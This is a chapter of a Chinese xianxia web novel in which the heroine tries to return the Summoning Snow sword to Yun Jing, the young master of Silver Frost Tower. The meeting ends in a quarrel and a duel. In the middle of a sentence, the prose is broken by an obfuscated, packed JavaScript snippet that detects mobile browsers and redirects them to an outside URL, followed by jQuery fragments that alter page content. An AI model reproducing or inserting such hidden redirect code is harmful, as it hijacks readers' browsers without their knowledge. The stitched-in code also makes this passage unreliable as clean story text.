11.难开口反弄巧成拙

作品:《某天,大魔头成了正道魁首

    珠色大门两侧各站两位银霜楼弟子,正施法点亮明灯,远远只见一道身影落地。


    那女子自暗处信步走出,手持一柄长刀,素衣随风微扬,身姿挺俊,容光照人,举手投足间尽显从容。


    随她走近,空气里弥漫起一阵好闻的淡淡酒香。


    两人纷纷停下指尖咒术,好言问道:“姑娘何事?”


    灵秋答:“逍遥派凌秋求见银霜楼少楼主。”


    两个弟子面色一滞,这才瞧见她手中所持之物耀眼非凡,正是传说中的召雪刀。


    原来她就是逍遥派的凌秋,那个凌秋。


    弟子们面上的温和如天边残月,一瞬被阴翳覆盖。一人默不作声,一人冷言道:“凌姑娘稀客,只是恐怕我家少主此刻无暇见您。”


    “既如此,我不必见他。”灵秋递出召雪刀,“我只想归还这把刀,此乃银霜楼之物,还请两位转交给少楼主。”


    弟子甲闻言欲伸手接刀,却被弟子乙按下。


    弟子乙道:“此物乃多年前生死关头,我家少楼主亲手赠予姑娘。少楼主一番厚谊为人所负,如今姑娘难道不该至少当面归还吗?”


    灵秋道:“你家少主无暇见客,不是吗?”


    弟子乙道:“少主无暇,凌姑娘可在此静候。毕竟,等候之道,姑娘应当极为熟稔了。”


    灵秋闻言一愣,收了刀,微微一笑,应道:“好,我就在这儿等。”


    两个弟子挂好灯,回身进了院子。


    朱门缓缓闭拢,风来了,轻轻撞在铜镀的门环上,犹豫片刻,又退向四周。


    飞檐角下悬挂的纱灯摇摇晃晃,空气里,一波波清淡的味道接连涌动——那是不属于这个季节的芙蓉花香。


    灵秋站在原地许久,天上云的影子铺洒在四周,在她身上悄然游动。


    晴朗的夜,月亮总会破云而出。


    淡淡的银光戳破暮色,轻轻拢住人间,灵秋突然难耐地捂住胸口。


    她捞起袖子,短短一个动作的功夫,额间已密密布满了细汗。


    手臂上,脉中原本嚣张缠绕的蛊虫正在月光作用下不安地跳动。


    十数条青黑色的细线以一种极其缓慢的速度从白皙皮肉间钻出,疯狂地挣扎着。


    这是当初潜入仙门前,焱狰为了控制她所种下的子母血蛊。中了这种蛊的人必须每半年服用一次解药压制体内的蛊虫,否则便会血气逆流,心脉爆裂而死。


    唯有如此,魔族才有每半年一次,非与她联络不可的理由。


    距上次服用解药已经快半年了,这几日,灵秋体内的蛊虫变得越来越难以控制。


    这虫最喜月光,是故近来每个月夜,她都竭力躲避着月亮。


    一旦被月光照射,蛊虫躁动,她便不得不承受撕心裂肺的剧痛。


    那两个弟子的反应并不难懂,他们是责怪她没能遵守与云靖的约定。


    灵秋望着月亮,心想:“如此也好,云靖等了她一次,她也等他一回。再有什么不够的,都以今夜的痛楚抵了,此后二人两不相欠罢了。”


    抱着这样的想法,她一动不动,任由月光在身上淋漓。


    小初春的新月悬在天上,像一只轻盈的弯钩,又像一把不见血温柔刀,婉转剖刺着地上人的心。


    云靖回到小院时,灵秋仍站在原处。


    她一回头,毫无防备地撞进一双黑沉沉的眼睛。


    夜的阴影想将他隐没在暗处,那对眼珠却在残火照射下闪出明亮的光。


    来人背着月色走近,身影被拉得颀长,一路行来,如同脚踏一条蜿蜒的银色光带。


    他的皮肤像瓷一样白皙,长密密的睫毛轻促扑闪着,一双眼睛温润沁水,睁得大大的,像是对她的突然到访感到十分讶然。


    时间的素手抚平稚气,勾勒出流畅而动人的线条,将他自滚滚的记忆洪流骤然推入现实,成为她眼前具体而清晰的一笔月色。


    “我是来找你的。”


    只一眼,灵秋便认定了他的身份。


    云靖瞟一眼她怀中的召雪刀,没有应声,径直往朱门走去。


    他握住门环,低垂脑袋,像是在经历某种胶着的拉扯,片刻,忽而出声问道:“今日是你到阳华境的第一日,对吗?”


    灵秋不明白这一问有何深意,诚实答道:“是。”


    叮——


    门环发出响亮而短促的响声,方才点灯的两个弟子探出脑袋,见到云靖却纷纷露出惊讶的神情,讶异道:“少楼主?你什么时候出去的?”


    云靖未答,转身对灵秋说:“跟我来吧。”


    “不用了。”灵秋看着他的脸,不自觉往后退了一步,“我们就在这儿说。”


    啪——


    大风卷折四周草木。


    灵秋道:“我被师父罚跪,是偷跑出来的。”


    “哦,偷跑。”云靖点点头,接着说: “并非我不愿。”


    他抬起手臂,有些委屈:“你瞧,我的衣裳都破成这样了。”


    灵秋这才注意到,云靖身上的白袍沾了些刺眼的泥点子,从肩膀到小臂破开一道长长的口子,只能堪堪遮住身体。那切口齐整,很像被人刻意用剑挑破的。


    谁欺负他了吗?


    灵秋试图在他脸上找出些许蛛丝马迹,然而云靖却朝她微微一笑。


    “你先进来,等我换好衣服我们再谈,好吗?”


    他的语气温和而得体,话音刚落,止不住轻轻咳嗽几声。


    一旁的弟子立即关心道:“少楼主,你快去更衣吧,夜间寒凉,若受了风就不好了。”言罢,毫无掩饰地瞪了灵秋一眼,像是责怪。


    “好吧。”


    灵秋走到云靖身侧,心想就这一回,最后一回。


    经年不见,他竟然比她高出了半个脑袋,灵秋轻轻仰起头,问道:“我该在哪儿等你?”


    边上弟子一愣,立即向她示意:“请凌姑娘随我来。”


    弟子将她带入院子,七拐八弯,走了好久,终于抵达一处厢房。


    骤然逃离月光的灵秋深吸一口气,擦了把额间的虚汗。


    天晓得。


    她原本打算扔下召雪转身就走,却不想真的见到云靖以后怎么也无法再心生敷衍。


    她是想好好同他说句话的。或许对于三年前的爽约,她心中总还存有几分歉疚。


    灵秋决心安静地等下去。


    她想,云靖的性子似乎与以前不同了。


    她本以为他会像五年前在水境外一样冲自己大吼,没想到他居然意外的温和。


    如此一来或许好办很多。


    灵秋在屋内耐心地等着。


    她等了许久,久到忍不住离开凳子,在屋子里四处闲逛。


    这间屋子很宽敞,她所在的地方是会客厅,左侧一道屏风,薄纱之后隐约可见耸立的木质书架。


    灵秋把召雪刀放到一边,轻轻绕过去,只见墙壁四周悬挂字画,山水、花鸟与人物交相辉映,十足古意。


    虽是参与仙会的临时居所,这处书房的布置却毫不含糊,满架书册井然有序,照明用的不是油灯,而是珍稀难得的上品夜明珠。


    房中琳琅满目的布置像一场盛大的珍品展览,灵秋一一看过去。


    紫檀螺钿踩在脚下,翡翠浮雕悬在头顶,她满心所想却是胥阳山贫瘠的裂土与逍遥派那几间潦草的茅屋。


    白日里,兰翘向她说起西南角那方狭窄院落时眼中闪出兴奋的光。


    “阳华仙会真好。”她说,“我从来没有住过这么好的房子!”


    兰翘不知道,作为仙门世家的银霜楼随随便便一间客房的花费就抵得上整个逍遥派数十年的开支。


    灵秋站在书房中央,脑中不断浮现出三个顶天立地的大字:凭什么,凭什么?


    老天真的一点也不公平。


    她越看越觉得不对味,疾步退了出来。房门发出一声轻响,一个面生的少年提着食盒走进来。


    “劳姑娘久候。”


    他将食盒里的糕点一一摆到桌上:“这是银霜楼特制的点心,请姑娘品尝。”


    说完,不等灵秋反应,迅速退出了屋子。


    熟悉的香气扑鼻而来,是桂花糕,满桌的桂花糕。


    灵秋低头嗅了嗅,没打算吃。方才一路走来,她觉得银霜楼的人看自己的眼神非常,非常怪异。


    想到方才院门口那两个弟子对她的态度,灵秋觉得,这糕说不定有毒。


    她远离了桌子,继续等啊等,等到热气腾腾的桂花糕凉透了,终于忍不住推开房门。


    月色正浓,体内的一阵剧痛又将她逼回屋内。


    房间右侧,是一道细厚的垂纱,外部装饰着漂亮的珍珠帘。


    灵秋百无聊赖地掀开帘子,吓了一跳,心道:“好大的一张床!”


    原来这是一处卧房。


    鼻尖环绕着一股浓郁的气息,像是某种独特的熏香。先前这气味被厚重的帘子牢牢锁在卧房内,如今乍然挣脱束缚,很快飘得满屋都是。


    灵秋不受控制地打了个哈欠。


    这一天可真够折腾的。


    她盯着那张巨大的床,伸手按了按,床榻柔软似云,绒布在灯光下微微闪烁,散发出诱人的光泽。


    床总不会下毒吧。


    抱着这种想法,她轻轻靠了上去,在心底悄悄说:“一小会儿,就眯一小会儿。”


    灵秋迅速陷入了梦乡。迷迷糊糊间,脸颊上擦过痒痒的触感,她忍不住埋了埋脑袋,嘟囔道:“就睡一小会儿。”


    叮铃铃——


    檐下风铃发出一串悦耳的音符。


    耳边突然传来一声轻笑。


    灵秋猛地睁开眼睛,正对上云靖的脸。


    他斜靠在一侧,静静看着她,眼中蒙了一层堪称柔和的水雾。


    两人隔着不远不近的距离,灵秋正好能够清晰瞧见他从耳畔一路绵延到脖颈的绯红,以及那细嫩的、薄纱般剔透的肌肤。


    流畅的曲线勾勒出纤长而劲瘦的脖颈,一路延伸,隐没进月白色的衣领里。


    她不敢再往下看,匆匆移开目光。


    云靖微微一笑,起身朝她走来。


    “你做什么!?”


    她猛地站起来,小腿因久蜷在床边的别扭姿势涌起一股酸痛。痛也顾不得,她脑中警报叮铃作响,全部的直觉都在呐喊着远离。


    有那么一时半刻,灵秋痛苦地想,原来这四年,这么多经书,统统都白念了。


    她一退三丈远,云靖脸上的笑意浓得化不开。


    他信步错过她,行至外间,拿过桌上形制古朴的茶具。


    云靖绕到桌对面,面向她斟茶,好言问道:“你找我有什么事?”


    灵秋答:“我是来还刀的。”


    她递出召雪,云靖递出茶盏,一刀一盏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273228|166455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就这么正对在半空。


    盏中茶水泛起横波,云靖面色一僵,一字一句道:“为什么?”


    总不能说是因为想斩断孽缘跟你八辈子不复相见吧。


    灵秋借口道:“托你的福,我已经有趁手的武器,暂时不需要这把刀了。”


    “是吗?”


    云靖放下茶盏,一道清脆的声音随之撞入两人耳膜。


    他垂下头,咬牙道:“可惜啊,我一点也不喜欢心在别人那里的东西。”


    耐着性子装了一晚上谦谦君子。


    扮作小厮送她亲手蒸制的桂花糕。


    坐在床边静静注视她的睡颜,心满意足地放任屋内熏香覆盖她身上难闻的酒味。


    一切的一切,最后竟然迎来她一刀两断,归还召雪的宣判。


    不需要了?


    因为一把平平无奇的铁剑?抑或是因为送她铁剑的那个人?


    五年,她身边有了新的、他不认识的人,是否就是因为这个人,三年前的太虚宫,她才会无故爽约?


    云靖深深凝视着灵秋,有一瞬间,他真的很想大声质问她:“我将你当作至交好友,你呢?你可曾对我有过哪怕一刻真心?”


    灵秋看着云靖那双点漆般的眼睛,从层层复杂的情绪中勉强琢磨出几分愤愤不平。


    难怪她举着剑,手都酸了,此人却没有半分要接的意思。


    原来是嫌弃召雪认她为主。


    解除剑与人之间的主仆契约,需要修士的灵脉血。


    今日她本不该再动灵脉,然而刀却不得不还。灵秋挥动召雪,干脆利落地割开手腕。


    鲜血染过刀刃,召雪刀发出小声的嗡鸣。她重新将召雪递给云靖,却迎上他冷冰冰的目光。


    云靖露出讥诮的神情,嘲讽道:“破铜烂铁,不如随手扔了。”言罢,推开房门,扬长而去。


    还不够?她连灵脉都割了!


    还件东西这种微不足道的小事却足足折腾了小半个晚上,灵秋感到心烦意乱。


    她看着手里的召雪,不顾天上月亮正圆,飞身追向云靖。


    两人对立在院子中央。


    “让开。”


    云靖不管不顾地往前走,灵秋立即抛出一道结界将他拦住。


    被迫止步的云靖盯着她,眼神阴沉沉的,声音涩得发紧。


    “凌秋,你是不是只会用这种法子将人困住?”


    灵秋狠狠咬了下嘴唇,走到他面前。


    “少楼主,召雪刀已不认我为主,你究竟还在别扭些什么?”


    看来先前觉得他变了,完全是她一时眼瞎。


    结界内,不知这句话哪里再度触动了云靖的神经,话音刚落,他刷的召出凝霜剑,猛劈向四周。


    碎溅的冰晶间,传来他怨怒的声音。云靖愤恨地瞪着她,咬牙切齿一字一顿地说:“凌秋,你就是个笨蛋。”


    “你骂我?”灵秋难以置信地看着他,简直要被气笑了,“你居然敢骂我?你有什么资格骂我?”


    当年若不是因为救了他,她又怎么会元气大伤,险些惨死在戮空手下,还害了七师兄?


    “是,我没有资格。”云靖脸上浮现出讥诮的表情:“不告而别的人不是我,无故爽约的人也不是我。我有什么资格过问你凌大姑娘的私事呢?毕竟我不像你,寡情薄义,不需要的东西就干脆利落地一脚踹开。”


    灵秋被他嘲讽的语气狠狠刺了一下。


    月色锋利,身上的疼痛从未如此令人难以忍受。啪啪啪啪——她听见自己脑子里那根名为“忍耐”的弦四分五裂,碎成了粉末。


    “你找死。”


    气血上头,她挽过召雪刀,朝着云靖怒劈过去。


    “怎么,说不过就要开打么?”


    云靖举起凝霜剑,毫不含糊地接下这一招。


    两人周围气浪翻涌,冲力爆开,屋檐下,一排风铃发出急促的尖叫,惊动了整座院子。


    于风是最先赶到现场的人,彼时,云靖和灵秋早已打得不可开交。


    凝霜剑与召雪刀在空中相撞,发出剧烈刺耳的嗡鸣声。


    于风带着一群弟子围着两人团团转圈,扯着嗓子挥手大喊:“嘿!嘿!阳华境内禁止私斗!”


    嘭!


    云靖被击退数步,他身上,新换的衣袍从肩膀到小臂,再一次被剑气划破。


    刷的一声,召雪刀冲他飞来,倒插在他身侧。同时,只听一阵纷乱的拔剑声,四周的银霜楼弟子纷纷亮出宝剑,将灵秋团团围在中间。


    空气骤然变得沉默而紧绷。


    灵秋唤出铁剑,飞至半空。她面色冷峻,如霜雪尽覆。


    云正和段若霜站在远处,灵秋一眼认出他们。


    她朝那方看去,发觉站在这两人身后的几位长老很有几分面熟。


    他们一早赶到了现场,却并未上前,而是始终沉默地旁观着,任由她和云靖对打。


    灵秋无意间对上段若霜的脸,破天荒地在她眉间捕捉到一丝一闪而过的、深重的悲戚。不知为何,那神色竟然令她心头一震。


    灵秋想起当日在水境外,这几个人缓慢挪动脚步遮挡住自己的情形,骤然失去了再战下去的兴致。


    她居高临下地俯视云靖,竭力平声道:“从今日起,你我二人,恩怨俱消,两不相欠。”


    言罢,再不看他一眼,化作一道凌厉的剑光,消失在浓墨的天际。